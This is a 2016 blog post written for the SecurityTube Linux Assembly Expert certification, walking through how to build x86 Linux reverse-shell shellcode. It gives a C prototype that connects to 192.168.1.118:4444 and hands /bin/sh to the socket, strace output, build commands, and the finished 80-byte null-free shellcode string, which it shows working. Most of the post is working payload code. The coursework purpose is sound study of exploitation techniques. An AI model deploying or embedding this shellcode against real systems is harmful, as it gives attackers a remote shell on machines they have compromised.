Wednesday, 1 June 2016

x86 reverse shell from scratch

Hello again, this is part two of seven for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments which I'll be posting on here.

The first assignment task was to create a shell bind TCP shellcode, where the port number is easily configurable, this second one follows on from that and the task is to create a reverse-connect shellcode where the port and ip of host to connect back to are also easily configurable.

We will begin like last time, with a C program to mimic the desired functionality and use strace to identify the required syscalls;

 paul@SLAE001:~$ cat reverse.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <sys/socket.h>  
 #include <arpa/inet.h>  
 void main(void)  
 {  
   int sockfd;  
   struct sockaddr_in addr;  
   addr.sin_family = AF_INET;  
   addr.sin_addr.s_addr = 0x7601a8c0;     // 192.168.1.118 
   addr.sin_port = 0x5c11;           // 4444  
   sockfd = socket(AF_INET, SOCK_STREAM, 0);  
   connect(sockfd, &addr, sizeof(addr));  
   // dup2 stdin, stdout and stderr to sockfd  
   dup2(sockfd, 2);  
   dup2(sockfd, 1);  
   dup2(sockfd, 0);  
   execve("/bin/sh", 0, 0);  
 }  
 paul@SLAE001:~$ gcc reverse.c -o reverse  
 ...  
 paul@SLAE001:~$ strace ./reverse   
 ...  
 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3  
 connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.1.118")}, 16) = 0  
 dup2(3, 2)               = 2  
 dup2(3, 1)               = 1  
 dup2(3, 0)               = 0  
 execve("/bin/sh", [0], [/* 0 vars */]) = 0  
 ...
 paul@SLAE001:~$ strace -e raw=all ./reverse   
 ...  
 socket(0x2, 0x1, 0)           = 0x3  
 connect(0x3, 0xbf98243c, 0x10)     = -1 (errno 111)  
 dup2(0x3, 0x2)             = 0x2  
 dup2(0x3, 0x1)             = 0x1  
 dup2(0x3, 0)              = 0  
 execve(0x8048670, 0, 0)         = 0  
 ...    

Magic - this should be easier than the bind shellcode - less syscalls to make :-)  I'll use the bind.asm as a template and change where required.

It can be found here: https://github.com/pabb85/SLAE/blob/master/reverse.asm

This worked nicely - I altered the bind call into a connect and updated the parameters, got rid of listen and accept calls and it built nicely into an 80 byte shellcode, no nulls.  The IP and port can be easily configured by altering lines 27 and 28, bearing in mind the reverse byte order and also restriction on nulls - 192.168.0.1 wouldn't work for example as the third octet is a null and would be 0x0100a8c0.  This could be worked around by using a simple crypter which is to follow in a later exercise.


 paul@SLAE001:~$ nasm -f elf32 reverse.asm -o reverse.o  
 paul@SLAE001:~$ ld reverse.o -o reverse  
 paul@SLAE001:~$ objdump -d ./reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x03\x68\xc0\xa8\x01\x76\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"  
 paul@SLAE001:~$ perl -e 'print "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x03\x68\xc0\xa8\x01\x76\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";' | wc -c  
 80  


Reverse-shell shellcode working :-)



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.